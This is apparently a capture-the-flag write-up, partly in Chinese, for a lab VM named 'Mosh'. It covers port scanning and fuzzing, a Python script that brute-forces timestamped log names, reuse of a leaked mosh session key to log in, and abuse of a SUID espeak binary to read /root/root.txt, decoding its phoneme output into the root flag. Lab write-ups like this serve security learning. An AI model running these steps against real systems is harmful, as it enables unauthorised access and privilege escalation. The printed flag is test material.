

Mosh

OS: Linux

Web-Tech: Ngnix

IP: 192.168.1.232

USERS:

Credentials:

=====

Ports:

22 -> SSH

80 -> Nginx

=====

Nmap Results:

```
# Nmap 7.95 scan initiated Sun Jan 25 16:54:04 2026 as: /usr/lib/nmap/nmap -
-privileged -vvv -p 22,80 -4 -sC -sV --oN tcp_scan_results.txt 192.168.1.232
Nmap scan report for mosh (192.168.1.232)
Host is up, received arp-response (0.00057s latency).
Scanned at 2026-01-25 16:54:05 JST for 6s
```

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64  OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http     syn-ack ttl 64  nginx
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: 403 Forbidden
| http-robots.txt: 3 disallowed entries
|_ /admin/ /backup/ /*-logs/
MAC Address: 08:00:27:46:D2:9B (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
```

```
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Sun Jan 25 16:54:11 2026 -- 1 IP address (1 host up) scanned
in 6.45 seconds
```

=====

Web Service Enumeration:

[Nikto]

[Wfuzz]

Files: / (Web Root)

Directories: / (Web Root)

=====

Other:

=====

Take Away Concepts:

Recon

没记录太多信息，暂且只提供一个短思路吧。

FUZZ

首先是FUZZ扫到robots.txt, 提示有一个 /*-logs

用raft-large-words可以扫到mosh

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u
http://$IP/FUZZ-log
```

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u
http://192.168.1.232/mosh-logs/FUZZ
```

然后接着扫到文件reminder

```
$(date +%Y-%m-%d_%H-%M-%S).log
```

看起来是日志的格式，喂给AI直接要一个FUZZ的python结构。类似FUZZ的靶机可以参考HTB的[Intelligence](#)。

盲猜文件就在这个Log下面，FUZZ之后发现是根据UTC+8的时间来进行命名的。

```
import requests
from datetime import datetime, timedelta
from concurrent.futures import ThreadPoolExecutor
import sys

# ===== 配置区域 =====
# 目标的基础 URL（请确保以 / 结尾）
BASE_URL = "http://192.168.1.232/mosh-logs/"

# 设置爆破的起始时间和结束时间（格式：年-月-日 时:分:秒）
# 建议：先根据当前时间或靶机启动时间，设置一个较小的范围，例如前后 1-2 小时
START_TIME = "2026-01-23 10:00:00"
END_TIME = "2026-01-26 12:00:00"
```

```

# 步长（秒）。如果猜测是每分钟生成的日志，可以改为 60
STEP_SECONDS = 60

# 线程数（根据网络状况调整，太高可能会被封或导致靶机崩溃）
MAX_THREADS = 50
# =====

def generate_filenames(start_str, end_str, step):
    """生成时间序列文件名"""
    start = datetime.strptime(start_str, "%Y-%m-%d %H:%M:%S")
    end = datetime.strptime(end_str, "%Y-%m-%d %H:%M:%S")

    current = start
    while current <= end:
        # 对应格式： %Y-%m-%d_%H-%M-%S
        filename = current.strftime("%Y-%m-%d_%H-%M-%S.log")
        yield filename
        current += timedelta(seconds=step)

def check_url(filename):
    """检测单个 URL 是否存在"""
    url = f"{BASE_URL}{filename}"
    try:
        # 使用 HEAD 请求，只获取头部信息，不下载内容，速度更快
        response = requests.head(url, timeout=3)

        # 如果返回 200 (OK)，说明文件存在
        if response.status_code == 200:
            print(f"[+] Found log file: {url}")
            return url
        # 某些服务器可能返回 403 (Forbidden) 但文件其实存在
        elif response.status_code == 403:
            print(f"[!] Potential match (403 Forbidden): {url}")
            return url

    except requests.RequestException:
        pass # 忽略连接错误
    return None

def main():
    print(f"[*] Starting brute-force on {BASE_URL}")
    print(f"[*] Time range: {START_TIME} to {END_TIME}")

    filenames = list(generate_filenames(START_TIME, END_TIME, STEP_SECONDS))
    print(f"[*] Total payloads generated: {len(filenames)}")
    print(f"[*] Running with {MAX_THREADS} threads...")

    found_files = []

```

```

# 使用线程池并发请求
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
    # map 会按顺序提交任务
    results = executor.map(check_url, filenames)

    for result in results:
        if result:
            found_files.append(result)

print("\n" + "="*30)
if found_files:
    print(f"Success! Found {len(found_files)} files:")
    for f in found_files:
        print(f)
else:
    print("No files found. Try adjusting the time range or timezone.")

if __name__ == "__main__":
    main()

```

Mosh Key Disclosure

发现机器每分钟会生成一个带密钥的日志，有的时候日志会显示bind 60001端口失败。日志信息如下

```

MOSH CONNECT 60001 YVyT9A2RiNkeD1YDkF4xxg

mosh-server (mosh 1.4.0) [build mosh 1.4.0]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 2795]

```

根据密钥和MOSH的信息，喂给AI会找到一个MOSH-CLIENT的用法。

```
MOSH_KEY=YYyT9A2RiNkeD1YDkF4xxg mosh-client 192.168.1.232 60001
```

SUID Exploit

连上以后传个linpeas.sh搜集信息或者是找suid会发现一个特别的espeak

```
find / -perm /u=s 2>/dev/null
```

然后直接根据[GTFOBINS](#)的信息，让它读flag就行

```
/usr/bin/espeak -qXf /root/root.txt
```

```
Unpronouncable? 'flag'
```

```
39      _ ) f (L01Y [f]
```

```
Translate 'flag'
```

```
1      f      [f]
```

```
39      _ ) f (L01Y [f]
```

```
1      l      [l]
```

```
1      a      [a]
```

```
1      g      [g]
```

```
Translate '{'
```

```
Found: '_{' [lEftbreIs]
```

```
Translate 'root'
```

```
1      r      [r]
```

```
36     oo      [u:]
```

```
1      o      [0]
```

```
4      X) o    [0#]
```

```
1      t      [t]
```

```
Flags: a  $nounf
```

```
Translate 'a'
```

```
40     _ ) a ( _D [,eI]
```

```
1      a      [a]
```

```
26     _ ) a ( _  [a#]
```

```
Found: '_9' [n'aIn]
```

```
Found: 'e' [i:]
```

```
Found: '_2X' [tw'Ent2i]
```

```
Found: '_6' [s'Iks]
```

```
Found: 'f' [Ef]
```

```
Found: '_8X' ['eIti]
```

```
Found: '_8' ['eIt]
```

```
Flags: a  $nounf
```

```
Translate 'a'
```

```
40     _ ) a ( _D [,eI]
```

```
1      a      [a]
```

```
26     _ ) a ( _  [a#]
```

```
45     D _ ) a ( _ [eI]
```

```
Found: '_4X' [f'o@ti]
```

Found: '_9' [n'aIn]
Found: 'f' [Ef]
Found: '_5X' [f'Ifti]
Found: '_4' [f'o@]
Translate 'ce'

1 c [k]
22 c (e [s]

1 e [E]
45 XC) e (_N [i:]

Found: '_3' [Tr'i:]
Translate 'fe'

1 f [f]

1 e [E]
45 XC) e (_N [i:]

Found: '_2X' [tw'Ent2i]
Found: '_9' [n'aIn]
Flags: a \$nounf
Translate 'a'

40 _) a (_D [,eI]
1 a [a]
26 _) a (_ [a#]
45 D_) a (_ [eI]

Found: '_8' ['eIt]
Found: 'b' [bi:]
Found: '_9' [n'aIn]
Found: 'f' [Ef]
Found: '_8' ['eIt]
Found: 'f' [Ef]
Found: '_0C' [h'Vndr@d]
Found: '_0M1' [T'aUz@nd]
Found: '_3' [Tr'i:]
Found: '_1' [w'02n]
Found: '_0and' [@n]
Found: '_3X' [T'3:ti]
Found: '_3' [Tr'i:]
Translate '}'

Found: '_}' [raItbreIs]

fl'ag_:_: r'u:t,eI n'aIn 'i: tw'Entis'Iks 'Ef 'eIti;'eIt 'eI f'o@tin'aIn
'Ef f'Iftif'o@ s'i: Tr'i: f'i: tw'Entin'aIn 'eI 'eIt b'i: n'aIn 'Ef 'eIt 'Ef
Tr'i: T'aUz@nd w'0nh'Vndr@d@n T'3:tiTr'i:
/usr/bin/espeak -qxf /root/root.txt
fl'ag_:_: r'u:t,eI n'aIn 'i: tw'Entis'Iks 'Ef 'eIti;'eIt 'eI f'o@tin'aIn

'Ef f'Iftif'o@ s'i: Tr'i: f'i: tw'Entin'aIn 'eI 'eIt b'i: n'aIn 'Ef 'eIt 'Ef
Tr'i: T'aUz@nd w'Onh'Vndr@d@n T'3:tiTr'i:

喂给AI

Recover Root Flag

根据日志的 Translate '...' 和 Found: '...' 块，我们可以精准还原:

步骤	Debug 日志片段	还原字符	备注
1	Translate 'flag', Translate '{', Translate 'root'	flag{root	结合 User Flag 格式，此处应隐含 -
2	Translate 'a'	a	
3	Found: '_9'	9	
4	Found: 'e'	e	
5	Found: '_2X', _6	26	连读 Twenty-six
6	Found: 'f'	f	
7	Found: '_8X', _8	88	连读 Eighty-eight
8	Translate 'a'	a	
9	Found: '_4X', _9	49	
10	Found: 'f'	f	
11	Found: '_5X', _4	54	
12	Translate 'ce'	ce	发音 s'i:
13	Found: '_3'	3	
14	Translate 'fe'	fe	发音 fi:
15	Found: '_2X', _9	29	
16	Translate 'a'	a	
17	Found: '_8'	8	
18	Found: 'b'	b	
19	Found: '_9'	9	
20	Found: 'f'	f	
21	Found: '_8'	8	
22	Found: 'f'	f	
23	Found... 3... 1... 3... 3	3133	读作 Three thousand...
24	Translate '}'	}	

Final Root Flag

将上述字符拼接，并保留 user.txt 中出现的分隔符格式：

```
flag{root-a9e26f88a49f54ce3fe29a8b9f8f3133}
```